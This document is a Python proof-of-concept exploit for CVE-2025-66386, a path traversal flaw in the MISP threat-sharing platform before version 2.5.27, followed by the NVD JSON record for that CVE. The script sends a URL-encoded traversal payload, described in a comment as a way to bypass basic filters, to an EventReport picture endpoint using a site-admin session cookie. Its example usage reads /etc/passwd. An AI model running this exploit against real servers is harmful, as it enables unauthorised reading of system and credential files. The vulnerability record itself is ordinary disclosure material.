CVE-2025-66386

import requests import urllib.parse # CVE-2025-66386 Path Traversal PoC for MISP < 2.5.27 # Target: MISP instance with site-admin access def exploit_path_traversal(target_url, session_cookie, target_file): """ Exploit path traversal in MISP EventReport view picture function Args: target_url: Base URL of MISP instance session_cookie: Valid site-admin session cookie target_file: File to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ # Construct path traversal payload # Using URL encoding to bypass basic filters traversal = "../../../../.." + target_file encoded_path = urllib.parse.quote(traversal, safe='') # Target endpoint for EventReport view picture endpoint = f"{target_url}/eventReports/viewPicture" headers = { 'Cookie': f'MISPISPSESSID={session_cookie}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Payload with path traversal params = { 'event_id': '1', 'id': '1', 'path': encoded_path } try: response = requests.get(endpoint, params=params, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 0: return response.content else: return None except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Example usage if __name__ == "__main__": target = "https://vulnerable-misp-server.com" cookie = "your_site_admin_session_cookie" file_to_read = "/etc/passwd" result = exploit_path_traversal(target, cookie, file_to_read) if result: print(f"File contents:\n{result.decode('utf-8', errors='ignore')}") else: print("Exploitation failed or file not accessible")

{"cve": {"id": "CVE-2025-66386", "sourceIdentifier": "[email protected]", "published": "2025-11-28T07:15:59.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "app/Model/EventReport.php in MISP before 2.5.27 allows path traversal in view picture for a site-admin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "references": [{"url": "https://github.com/MISP/MISP/commit/7f4a0386d38672eddc139f5735d71c3b749623ce", "source": "[email protected]"}, {"url": "https://github.com/MISP/MISP/compare/v2.5.26...v2.5.27", "source": "[email protected]"}]}}